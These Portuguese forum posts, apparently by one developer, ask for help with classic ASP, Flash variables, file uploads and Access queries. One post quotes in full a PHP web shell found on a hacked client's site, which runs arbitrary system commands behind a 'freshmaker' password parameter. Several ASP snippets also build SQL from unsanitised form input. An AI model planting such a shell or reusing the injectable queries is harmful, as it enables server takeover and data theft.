Milena

Estou com a seguinte dúvida de curiosidade, estou tentando fazer o seguinte, quero concaternar 2 variáveis ... o problema é o seguinte, tenho um loop e quero que o nome da variável seja incrementando a cada interação... resumidamente tentei fazer assim: Aux = 0 loop aux = aux+1 var&aux = "texto" Mas está apresentando o seguinte erro: Erro de compilação do Microsoft VBScript erro '800a03ea' Erro de sintaxe /arquivos/projetos/orbitall/validate.asp, line 42 Valor&aux= rsdbcon("Valor") -----^ o código verdadeiro ele está lendo do banco e enviando para o flash: While NOT rsdbcon.EOF Final= 0 Response.Write ("&Final="&Final) aux= aux +1 Bandeira&aux= rsdbCon("Bandeira") Response.Write ("&Bandeira="&Bandeira&aux) rsdbcon.MoveNext Wend Final= -1 Response.Write ("&Final="&Final) end if

ow, consegui o ASP é assim: Bandeira1= rsdbCon("Bandeira") Bandeira="Bandeira: "&Bandeira1 Response.Write ("&Bandeira=" &Bandeira) no Flash usei LoadVar

Deixa essa imagem como fundo de uma table, e cria uma outa table dentro dela pra colocar seus dados, redimensiona a table interna com 100 % deve dar certo. Já fiz isso e deu certo

Olá eu tb já tinha tentado enviar assim: seuSwf.swf?nome=nome O problema é que não sei como pegar essa variável no flash... e acho que ninguém sabe....

Eu consigo pegar o valor na página ASP, foi assim mesmo que eu fiz para envir. Eu não consigo agora Enviar a variável que está no ASP para o FLASH

Consigo enviar as variáveis do Flash para o ASP, faço a consulta no BD, mas não estou conseguindo retornar a resposta para o Flash... Já tentei enviar com SUBMIT, mas não deu certo... Li em um outro fórum que era assim que enviava a variável pra o Flash: response.write"Bandeira="&Bandeira Mas tenho que admitir que achei isso um absurdo pois o response.write, ira exibir essa variável na página ASP... aceito qualquer ajuda e dicas... preciso disso urgentíssimo

Olá, consegui criar a Session: session("codigo") = cod teste = session("codigo") response.write(teste) agora como que faço pra mandar a session pra outra página , já que não acho que seja correto fazer assim: Response.Redirect "painel_controle1.asp?enviar="&email e o código da minha página não está permitindo suar response.redirect, devido as outras funções já usadas na página. aí pensei em fazer isso: <a href=painel_controle.asp?Enviar=&teste><strong>Avan&ccedil;ar</strong></a> mas não funciona...

Gostaria de saber se é assim que crio uma sessão: Set rsdbCon2 = Server.CreateObject("ADODB.RECORDSET") rsdbCon2.ActiveConnection = con strsql2 = "select Max(Codigo) as cod From log where login='"&mail&"'" rsdbcon2.open strsql2 cod = rsdbcon2("cod") if not isempty(session("cod")) then Codigo=session("cod") end if response.write(cod) response.write(Codigo) Preciso enviar os valores de duas sessoes, para um página, a sessão de login, e essa sessão que está ai em cima

Valeu pelas explicações .

Olá, estou usando esse código de upload de imagens... upload.inc UPLOAD.INC Alguém sabe como é o esquema de renomear os arquivos?

Mas de modo geral o que essa página pode fazer? roubar senhas ? deletar arquivos? é que infelizmente não entendo nada de php... mas garanto a vocês ... depois disso .. com certeza vou aprender .

Olá a hp de um cliente meu foi hackeado, e econtei uma página em php lá, mas a pergunta é... essa página pode ter feito alguma dano, já que o sevirdo onde esta hospedada a página é asp???? o códiga da página q encontrei: <? $cmd = $_POST['cmd']; // $output = system($cmd); $x = $_GET['team']; if ($x != "freshmaker") { die("200 OK"); } if (!$cmd) { echo " <form action='$PHP_SELF?team=freshmaker' method=post> <input type=hidden name=team value=freshmaker> <input type=text name=cmd value=\"$cmd\" size=100> </form>"; } else { echo " <form action='$PHP_SELF?team=freshmaker' method=post> <input type=hidden name=team value=freshmaker> <input type=text name=cmd value=\"$cmd\" size=100> </form>"; echo "<TEXTAREA COLS='100' ROWS='30' STYLE='font-family: verdana; font-size: 12px;'>"; // outputing ob_start( ); system("$cmd"); $output = ob_get_contents(); ob_end_clean( ); // echo $output; if (!empty($output)) echo str_replace(">", "&gt;", str_replace("<", "&lt;", $output)); echo "\n\n\nFreshmaker Crew"; // outputing echo "</TEXTAREA>"; } ?>

Pois é meu caros ... a servidor não me passa as informações corretamente, eu desisti de usar ASPUPLOAD, então estou partindo para o UPLOAD SEM COMPONENTES... só gostaria de fazer mais uma perguntinha... existe alguma função que renomeie o FILE ??

Olá, gostaria muito de saber como utlizar esse esquema de código de barras, por exemplo, o que eu preciso para gerar um código de barra padrão 39... eu preciso dos códigos numéricos, para gerar o de barras?

R E S O L V I D O !!! Realmente era um <br> q está atrapalando, mas o erro era em outro formulário Obrigado pelas dicas e ajuda que voces me deram

<%Set Upload = Server.CreateObject("Persits.Upload.1")%> <%Count = Upload.Save(server.MapPath("Fotos")%> É assim? q faz? Pois se for assim, ainda não deu certo <% = Count %> files uploaded. <% Set Upload = Nothing %>

é texto ... e um detalhe importente acho que tem um <br> na minha variável codigo... olha como ficou impressa minha consulta a aspas na linha de baixo: testeSelect * From Produtos WHERE CodigoProduto ='7 ' tem como eu corrigir isso... acho que efim a solução ... só não sei como fazer

Olha desculpem minha insitência ... Ceh fiz a alteração que voce disse, agora ele não retorna mais o erro e sim da a mensagem Não existe dados para exibir Mesmo a consulta sendo verdadeira(pois tenho certeza que o código exite na tabe, pois copie e colei ela no acces, e ele me retorna o valor ... muito grata pela atenção de vocês *** Nota Importante **** Quando eu coloco a consulta assim na minha página asp ela funciona: SQL3= "Select * From Produtos WHERE CodigoProduto ='7'" quando coloco assim SQL3= "Select * From Produtos WHERE CodigoProduto ='"&codigo&"'" não funciona porque será? o campo CodigoProduto e Texto ....

Eu não sei mais o que fazer, estou a ponto de começar a implementar tudo do zero novamente... Percebi o seguinte... ELE FAZ O SELECT SET RS3 = Server.CreateObject("ADODB.Recordset") SQL3= "Select * From Produtos WHERE CodigoProduto ='"&codigo&"'" RS3.Open SQL3,conn,3 ELE ESTÁ DANDO ERRO NO SEGUINTE : response.write(RS3("CodigoProduto")) erro: ADODB.Field erro '80020009' BOF ou EOF são verdadeiros, ou o registro atual foi excluído. A operação solicitada pelo aplicativo requer um registro atual. /arquivos/amor_arte/projetos/web/Secoes/adm/hp/inclui_carrinho.asp, line 0

Então, a pasta que está com autorização para upload é a pasta FOTOS

Não sei, porque ai na quantidade ele funciona normal... E o valor do Código está vindo corretamente estou imprimindo ele antes da chamada do último select e ele está com o valor correto

Olá. falei com o suporte do servidor, e eles tinha que compartilhar a pasta para que eu possa usar o upload... Me disseram que já estava compartilhada , mas ainda está apresentando o mesmo erro... e acho que pode ser devido ao fato de eu não estar sabendo informar a localização correta da Pasta ou irei colocar as fotos <HTML> <BODY> <%Set Upload = Server.CreateObject("Persits.Upload.1") Count = Upload.Save("Fotos")%> <% = Count %> files uploaded. <% Set Upload = Nothing %> </BODY> </HTML> A estrutura do site esta assim Secoes/Revelacao/Fotos MEUS ARQUIVOS DE UPLOAD, TANTO O HTML, QUANTO O ASP ESTÃO NA PASTA "REVELACAO" AS FOTOS DEVERAM FICAR NA PASTA "FOTOS" Count = Upload.Save("Fotos") Agradeço a atenção de vocês =)

Estou ficando louca, com um erro que está ocorrento... Estou tendo problemas com um dos select, pois mesmo sabendo que os dados da consulta teria que retronar algo ele apresenta erros. O Select q está dando erro é o último, mas coloquei o código todo para ficar mais fácil de entender. Set Conn = Server.CreateObject("AdoDb.Connection") Conn.provider="Microsoft.Jet.OLEDB.4.0" Conn.connectionstring=Server.Mappath("amor_arte.mdb") Conn.open id=session("id") response.write(id) codigo = request.form("codigoProduto") response.write(codigo) nome = request.form("nomeProduto") quantidade = request.form("quantidade") preço = request.form("preço") data = Date() ip = request.ServerVariables("Remote_Addr") total = request.form("totalfinal") SET RS = Server.CreateObject("ADODB.Recordset") SQL= "SELECT * From Carrinho where ID = '"&id&"' and CodigoProduto='"&codigo&"'" RS.Open SQL,conn,3 If RS.EOF Then SET RS1 = Server.CreateObject("ADODB.Recordset") SQL1= "Insert into Carrinho(ID,IP,Data,CodigoProduto, NomeProduto, Quantidade, preço, Total)values('"&id&"','"&ip&"','"&data&"','"&codigo&"','"&nome&"',"&quantidade&",'"&preço&"', '"&total&"')" RS1.Open SQL1,conn,3 Else quantidade2=RS("Quantidade") quantidadefinal=cint(quantidade2)+cint(quantidade) response.write(quantidade) response.write("quantidade antiga:") response.write(quantidade2) response.write("quantidadefinal") response.write(quantidadefinal) response.write("estou no else") SET RS2 = Server.CreateObject("ADODB.Recordset") SQL2= "UPDATE Carrinho SET Quantidade ="&quantidadefinal&" WHERE ID = '"&ID&"' AND CodigoProduto ='"&codigo&"'" RS2.Open SQL2,conn,3 response.write("codigo:") response.write(codigo) Esse select que está dando o erro, estou fazendo este select , pois tenho que abater no estoque , após inserir o produto no carrinho... [ERRO] ADODB.Field erro '80020009' BOF ou EOF são verdadeiros, ou o registro atual foi excluído. A operação solicitada pelo aplicativo requer um registro atual. E O MELHOR DE TUDO .... erro na linha 0 ... [ERRO] SET RS3 = Server.CreateObject("ADODB.Recordset") response.write(codigo) SQL3= "Select * From Produtos WHERE CodigoProduto ='"&codigo&"'" RS3.Open SQL3,conn,3 end if

Esse exemplo está usando ASPupload, mas já dá pra você ter noção de como que faz... o upload sem componentes aqui do fórum tb é muito bom, já usei várias vezes Formulário html <html> <body bgcolor="#FFFFFF"> <form method="POST" enctype="multipart/form-data" action="upload.asp"> <input type="FILE" size="40" name="FILE1"><br> <input type="FILE" size="40" name="FILE2"><br> <input type="FILE" size="40" name="FILE3"><br> <input type=submit value="Upload!"> </form> </body> </html> upload.asp Dim objUpload Set objUpload = Server.CreateObject("Persits.Upload") ' Tamanho máximo do arquivo, em bytes objUpload.SetMaxSize 150000, True x = objUpload.SaveVirtual("/diretorio") Response.Write "Upload efetuado com sucesso" Set objUpload = Nothing Para inserir no BD é aconselhave você apenas inserir o caminho do imagem. Fica mais fácil, e você pode fazer usando um INSERT.

Então foi o que me disseram, q o componente que o servidor suportava era ASPupload rsrsrs Vou ligar, pra confirmar mais uma vez...